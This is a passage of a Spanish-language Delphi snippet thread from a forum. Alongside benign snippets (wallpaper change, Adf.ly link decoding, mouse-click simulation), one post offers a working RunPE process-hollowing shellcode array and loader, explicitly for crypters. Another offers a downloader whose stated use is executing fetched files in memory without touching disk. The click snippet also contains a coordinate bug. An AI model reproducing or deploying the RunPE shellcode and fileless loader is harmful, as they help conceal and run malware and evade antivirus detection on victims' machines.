  11.  CoInitialize(nil);
  12.  ADesktop     := CreateComObject(CLSID_ActiveDesktop)as IActiveDesktop;
  13.  try
  14.    ADesktop.SetWallpaper(pwidechar(Image), 0);
  15.    ADesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);
  16.  finally
  17.    CoUninitialize;
  18.  end;
  19.  Result:=True;
  20. end;
  21.  
  22. begin
  23.   ChangeWallpaper('C:\image.bmp');
  24.   Writeln('Imagen cambiada');
  25.   Readln;
  26. end.
  27.  
  28.  


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 18 Septiembre 2015, 01:50 am
Funcion para decodificar una url del servicio Adf.ly
uso: le pamos la url codificada y nos retorna la original, ojo para usar esta funcion se necesita conexion  a internet.


Código
  1. uses
  2.  SysUtils,
  3.  IdHTTP,
  4.  IdCoderMIME;
  5.  
  6. function DecodeAdFly(const url:string):string;
  7. var
  8. http:TIdHTTP;
  9. content,data,urlFinal,part1,part2:string;
  10. pos1,pos2,i,npos:integer;
  11. const
  12. STRINGKEY='ysmm = ';
  13. begin
  14.  urlFinal:='';
  15.  i:=1;
  16.  http:=TIdHTTP.Create(nil);
  17.  try
  18.    content:=http.Get(url);//obtenemos el codigo html
  19.    pos1:=pos(STRINGKEY,content);//encontramos el ysmm =
  20.    pos2:=1;
  21.    npos:=pos1;
  22.    while(content[npos]<>';')do//recorremos el content hasta encontrar el ';'
  23.    begin
  24.      inc(npos);
  25.      inc(pos2);//el pos2 nos dira cuantos caracteres tiene el ysmm
  26.    end;
  27.    //data alamcenrar la cadena de ysmm
  28.    data:=copy(content,pos1+length(STRINGKEY)+1,pos2-length(STRINGKEY)-3);
  29.    while(i<=length(data)) do //filtramos la cadena llamada data
  30.    begin
  31.      part1:=part1+data[i];
  32.      part2:=data[i+1]+part2;
  33.      i:=i+2;
  34.    end;
  35.    urlFinal:=TIdDecoderMIME.DecodeString(part1+part2);//los desciframos con base64
  36.    Result:=copy(urlFinal,3,length(urlFinal)-2);//retornamos la url original
  37.  finally
  38.    http.Free; //liberamos el objeto creado arriba
  39.  end;
  40. end;
  41.  
  42. var
  43. url:string;
  44. begin
  45.  url:=DecodeAdFly('http://adf.ly/dLgCS');
  46.  writeln(url);
  47.  readln;
  48. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 25 Octubre 2015, 20:28 pm
Para lo  que les gusta el tema de los crypter les traigo un runpe en modo shellcode
y como usarlo

Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4. //shellcode del runPE  uso y parametros: runPE(path:pwidechar; bufferExe:pointer):cardinal;
  5. Const
  6.  Shell: Array [0 .. 1287] Of Byte = ($60, $E8, $4E, $00, $00, $00, $6B, $00, $65, $00, $72, $00, $6E, $00, $65, $00, $6C, $00, $33, $00, $32, $00, $00, $00, $6E, $00, $74, $00, $64, $00, $6C, $00,
  7.    $6C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
  8.    $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $5B, $8B, $FC, $6A, $42, $E8, $BB, $03, $00, $00, $8B, $54, $24, $28, $89, $11, $8B, $54, $24, $2C, $6A, $3E, $E8, $AA, $03, $00,
  9.    $00, $89, $11, $6A, $4A, $E8, $A1, $03, $00, $00, $89, $39, $6A, $1E, $6A, $3C, $E8, $9D, $03, $00, $00, $6A, $22, $68, $F4, $00, $00, $00, $E8, $91, $03, $00, $00, $6A, $26, $6A, $24, $E8, $88,
  10.    $03, $00, $00, $6A, $2A, $6A, $40, $E8, $7F, $03, $00, $00, $6A, $2E, $6A, $0C, $E8, $76, $03, $00, $00, $6A, $32, $68, $C8, $00, $00, $00, $E8, $6A, $03, $00, $00, $6A, $2A, $E8, $5C, $03, $00,
  11.    $00, $8B, $09, $C7, $01, $44, $00, $00, $00, $6A, $12, $E8, $4D, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $79, $03, $00, $00, $6A, $3E, $E8, $3B, $03, $00, $00, $8B, $D1, $6A, $1E, $E8,
  12.    $32, $03, $00, $00, $6A, $40, $FF, $32, $FF, $31, $FF, $D0, $6A, $12, $E8, $23, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $4F, $03, $00, $00, $6A, $1E, $E8, $11, $03, $00, $00, $8B, $09,
  13.    $8B, $51, $3C, $6A, $3E, $E8, $05, $03, $00, $00, $8B, $39, $03, $FA, $6A, $22, $E8, $FA, $02, $00, $00, $8B, $09, $68, $F8, $00, $00, $00, $57, $51, $FF, $D0, $6A, $00, $E8, $E8, $02, $00, $00,
  14.    $68, $88, $FE, $B3, $16, $51, $E8, $14, $03, $00, $00, $6A, $2E, $E8, $D6, $02, $00, $00, $8B, $39, $6A, $2A, $E8, $CD, $02, $00, $00, $8B, $11, $6A, $42, $E8, $C4, $02, $00, $00, $57, $52, $6A,
  15.    $00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00, $6A, $00, $FF, $31, $FF, $D0, $6A, $12, $E8, $A9, $02, $00, $00, $68, $D0, $37, $10, $F2, $51, $E8, $D5, $02, $00, $00, $6A, $22, $E8, $97,
  16.    $02, $00, $00, $8B, $11, $6A, $2E, $E8, $8E, $02, $00, $00, $8B, $09, $FF, $72, $34, $FF, $31, $FF, $D0, $6A, $00, $E8, $7E, $02, $00, $00, $68, $9C, $95, $1A, $6E, $51, $E8, $AA, $02, $00, $00,
  17.    $6A, $22, $E8, $6C, $02, $00, $00, $8B, $11, $8B, $39, $6A, $2E, $E8, $61, $02, $00, $00, $8B, $09, $6A, $40, $68, $00, $30, $00, $00, $FF, $72, $50, $FF, $77, $34, $FF, $31, $FF, $D0, $6A, $36,
  18.    $E8, $47, $02, $00, $00, $8B, $D1, $6A, $22, $E8, $3E, $02, $00, $00, $8B, $39, $6A, $3E, $E8, $35, $02, $00, $00, $8B, $31, $6A, $22, $E8, $2C, $02, $00, $00, $8B, $01, $6A, $2E, $E8, $23, $02,
  19.    $00, $00, $8B, $09, $52, $FF, $77, $54, $56, $FF, $70, $34, $FF, $31, $6A, $00, $E8, $10, $02, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $3C, $02, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $12,
  20.    $E8, $F9, $01, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $25, $02, $00, $00, $6A, $22, $E8, $E7, $01, $00, $00, $8B, $11, $83, $C2, $06, $6A, $3A, $E8, $DB, $01, $00, $00, $6A, $02, $52, $51,
  21.    $FF, $D0, $6A, $36, $E8, $CE, $01, $00, $00, $C7, $01, $00, $00, $00, $00, $B8, $28, $00, $00, $00, $6A, $36, $E8, $BC, $01, $00, $00, $F7, $21, $6A, $1E, $E8, $B3, $01, $00, $00, $8B, $11, $8B,
  22.    $52, $3C, $81, $C2, $F8, $00, $00, $00, $03, $D0, $6A, $3E, $E8, $9F, $01, $00, $00, $03, $11, $6A, $26, $E8, $96, $01, $00, $00, $6A, $28, $52, $FF, $31, $6A, $12, $E8, $8A, $01, $00, $00, $68,
  23.    $5B, $E8, $14, $CF, $51, $E8, $B6, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $26, $E8, $73, $01, $00, $00, $8B, $39, $8B, $09, $8B, $71, $14, $6A, $3E, $E8, $65, $01, $00, $00, $03, $31, $6A,
  24.    $26, $E8, $5C, $01, $00, $00, $8B, $09, $8B, $51, $0C, $6A, $22, $E8, $50, $01, $00, $00, $8B, $09, $03, $51, $34, $6A, $46, $E8, $44, $01, $00, $00, $8B, $C1, $6A, $2E, $E8, $3B, $01, $00, $00,
  25.    $8B, $09, $50, $FF, $77, $10, $56, $52, $FF, $31, $6A, $00, $E8, $2A, $01, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $56, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $36, $E8, $13, $01, $00,
  26.    $00, $8B, $11, $83, $C2, $01, $89, $11, $6A, $3A, $E8, $05, $01, $00, $00, $8B, $09, $3B, $CA, $0F, $85, $33, $FF, $FF, $FF, $6A, $32, $E8, $F4, $00, $00, $00, $8B, $09, $C7, $01, $07, $00, $01,
  27.    $00, $6A, $00, $E8, $E5, $00, $00, $00, $68, $D2, $C7, $A7, $68, $51, $E8, $11, $01, $00, $00, $6A, $32, $E8, $D3, $00, $00, $00, $8B, $11, $6A, $2E, $E8, $CA, $00, $00, $00, $8B, $09, $52, $FF,
  28.    $71, $04, $FF, $D0, $6A, $22, $E8, $BB, $00, $00, $00, $8B, $39, $83, $C7, $34, $6A, $32, $E8, $AF, $00, $00, $00, $8B, $31, $8B, $B6, $A4, $00, $00, $00, $83, $C6, $08, $6A, $2E, $E8, $9D, $00,
  29.    $00, $00, $8B, $11, $6A, $46, $E8, $94, $00, $00, $00, $51, $6A, $04, $57, $56, $FF, $32, $6A, $00, $E8, $86, $00, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $B2, $00, $00, $00, $83, $C4, $0C,
  30.    $FF, $D0, $6A, $22, $E8, $6F, $00, $00, $00, $8B, $09, $8B, $51, $28, $03, $51, $34, $6A, $32, $E8, $60, $00, $00, $00, $8B, $09, $81, $C1, $B0, $00, $00, $00, $89, $11, $6A, $00, $E8, $4F, $00,
  31.    $00, $00, $68, $D3, $C7, $A7, $E8, $51, $E8, $7B, $00, $00, $00, $6A, $32, $E8, $3D, $00, $00, $00, $8B, $D1, $6A, $2E, $E8, $34, $00, $00, $00, $8B, $09, $FF, $32, $FF, $71, $04, $FF, $D0, $6A,
  32.    $00, $E8, $24, $00, $00, $00, $68, $88, $3F, $4A, $9E, $51, $E8, $50, $00, $00, $00, $6A, $2E, $E8, $12, $00, $00, $00, $8B, $09, $FF, $71, $04, $FF, $D0, $6A, $4A, $E8, $04, $00, $00, $00, $8B,
  33.    $21, $61, $C3, $8B, $CB, $03, $4C, $24, $04, $C3, $6A, $00, $E8, $F2, $FF, $FF, $FF, $68, $54, $CA, $AF, $91, $51, $E8, $1E, $00, $00, $00, $6A, $40, $68, $00, $10, $00, $00, $FF, $74, $24, $18,
  34.    $6A, $00, $FF, $D0, $FF, $74, $24, $14, $E8, $CF, $FF, $FF, $FF, $89, $01, $83, $C4, $10, $C3, $E8, $22, $00, $00, $00, $68, $A4, $4E, $0E, $EC, $50, $E8, $4B, $00, $00, $00, $83, $C4, $08, $FF,
  35.    $74, $24, $04, $FF, $D0, $FF, $74, $24, $08, $50, $E8, $38, $00, $00, $00, $83, $C4, $08, $C3, $55, $52, $51, $53, $56, $57, $33, $C0, $64, $8B, $70, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E,
  36.    $08, $8B, $7E, $20, $8B, $36, $38, $47, $18, $75, $F3, $80, $3F, $6B, $74, $07, $80, $3F, $4B, $74, $02, $EB, $E7, $8B, $C5, $5F, $5E, $5B, $59, $5A, $5D, $C3, $55, $52, $51, $53, $56, $57, $8B,
  37.    $6C, $24, $1C, $85, $ED, $74, $43, $8B, $45, $3C, $8B, $54, $28, $78, $03, $D5, $8B, $4A, $18, $8B, $5A, $20, $03, $DD, $E3, $30, $49, $8B, $34, $8B, $03, $F5, $33, $FF, $33, $C0, $FC, $AC, $84,
  38.    $C0, $74, $07, $C1, $CF, $0D, $03, $F8, $EB, $F4, $3B, $7C, $24, $20, $75, $E1, $8B, $5A, $24, $03, $DD, $66, $8B, $0C, $4B, $8B, $5A, $1C, $03, $DD, $8B, $04, $8B, $03, $C5, $5F, $5E, $5B, $59,
  39.    $5A, $5D, $C3, $C3, $00, $00, $00, $00);
  40.  
  41.  
  42. //Funcion para leer un archivo binario y guardarlo dentro de una cadena
  43. Function mFileToStr(Ruta: string): string;
  44. var
  45. sFile: HFile;
  46. uBytes: Cardinal;
  47. begin
  48. sFile:= _lopen(PChar(Ruta), OF_READ);
  49. uBytes:= GetFileSize(sFile, nil);
  50. SetLength(Result, uBytes);
  51. _lread(sfile, @result[1], uBytes);
  52. _lclose(sFile);
  53. end;
  54.  
  55. var
  56. buffer:string;
  57. szFilePath:array[1..1024]of widechar;
  58.  
  59. begin
  60.  buffer:=mFileToStr('C:\bcb6kg.EXE'); //Leemos el fichero que queremos usar
  61.  GetModuleFileNameW(0,@szFilePath[1],1024); //GetModuleFileNameW equivalente al paramstr(0) pero unicode
  62.  writeln(pwidechar(widestring(szFilePath))); //mostramos la direccion actual del proyecto principal
  63.  
  64.  //el problema de llamado consistia en que el path tenia que ser unicode y yo lo manejaba como si fuera ascii
  65.  CallWindowProcW(@shell[0],hwnd(@szFilePath[1]),cardinal(@buffer[1]),0,0);//ejecutamos el shellcode
  66.  readln;
  67. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 20 Febrero 2016, 02:22 am
Funcion downloadFileBuffer

Hola despues de lo comentado en el foro hermano indetectables.net sobre la funcion URLOpenBlockingStream he decicido hacer mi implementacion en Delphi
bueno esta funcion lo que hace es descargar un fichero pero en vez de escribirlo en disco lo guarda en un buffer en memoria.

Bueno el uso que le demos puede ser variado ya que si queremos podemos escribir el contenido de ese buffer o ejecutarlo en memoria sin que toque disco.
el ejemplo viene con un simple ejemplo, me imagino que el va usar este ejemplo ya sabe como ejecutar un fichero en memoria o crear un nuevo fichero a travez de el
si tienen dudas sobre algo me avisan.

Código
  1. uses
  2.  SysUtils,ActiveX,URLMon;
  3.  
  4. type
  5. TBuffer=Array of Byte;
  6.  
  7. Function downloadFileBuffer(const URL:String):TBuffer;
  8. var
  9. stream:IStream;
  10. sizeFile,sizeSet,bytesWritten:Int64;
  11. buffer:TBuffer;
  12. begin
  13. Result:=nil;
  14. if URLOpenBlockingStream (nil,pchar(URL),stream,0,nil)=S_OK then
  15. begin
  16.     stream.Seek(0,STREAM_SEEK_END,sizeFile);
  17.     SetLength(buffer,sizeFile);
  18.     stream.Seek(0,STREAM_SEEK_SET,sizeSet);
  19.     stream.Read(@buffer[0],sizeFile,@bytesWritten);
  20.     Result:=buffer;
  21. end;
  22. end;
  23.  
  24. var
  25. url:String;
  26. buffer:TBuffer;
  27. begin
  28.  url:='http://i67.tinypic.com/2v8lv88.png';
  29.  buffer:=downloadFileBuffer(url);
  30.  
  31.  if buffer<>nil then
  32.     Writeln('Tamano del fichero leido ',Length(buffer))
  33.  else
  34.     Writeln('Hubo un error ');
  35.  
  36.  Readln;
  37. end.
  38.  

El codigo ha sido probado en delphi 7

Saludos....


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 25 Marzo 2016, 18:39 pm
[simulateClick] Funcion que simula el dar un click con el raton usando la api de windows y la version de delphi 2010

Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4. //Simula el click del raton
  5. //parametros
  6. //integer x,y: coordeandas donde queremos hacer click
  7. //Result: retornar cuantos eveentos fueron ejectuados en este caso 2
  8. function simulateClick(const x,y:Integer):Integer;
  9. var
  10. point:TPoint;
  11. input:array[0..1]of TInput;
  12. begin
  13.   GetCursorPos(point);   //gurdamos coordenadas actuales
  14.   SetCursorPos(x,y);     //colocamos el puntero en la posicion seleccionada
  15.   ZeroMemory(@input,sizeof(input)); //rellenamos de ceros el arreglo de TInput
  16.  
  17.   //configuramos el evento para oprimir con el boton izquierdo del raton
  18.   input[0].Itype:=INPUT_MOUSE;
  19.   input[0].mi.dx:=x;
  20.   input[0].mi.dx:=y;
  21.   input[0].mi.dwFlags:=MOUSEEVENTF_LEFTDOWN;
  22.  
  23.   //configuramos el evento para soltar el mouse con  el boton izquierdo del raton
  24.   input[1].Itype:=INPUT_MOUSE;
  25.   input[1].mi.dx:=x;
  26.   input[1].mi.dx:=y;
  27.   input[1].mi.dwFlags:=MOUSEEVENTF_LEFTUP;
  28.  
  29.   //Ejecutamos los dos eventos anteriores
  30.   Result:=SendInput(2,tagInput(input[0]),sizeof(TInput));
  31.   //Restauramos las coordenadas originales(simula que no se movio el raton)
  32.   SetCursorPos(point.X,point.Y);
  33. end;
  34.  
  35.  
  36. //Imprime la posicion X y Y actual del cursor
  37. //conveniente usarlo dentro de un while inifito para saber las coordenadas
  38. //al momento de mover el raton
  39. procedure printPosition;
  40. var point:TPoint;
  41. begin
  42.   GetCursorPos(point);
  43.   Writeln(point.X,' x ',point.Y);
  44. end;
  45. //Main del programa
  46. begin
  47.   simulateClick(20,882);
  48.   Writeln('Click simulado');
  49. end.
  50.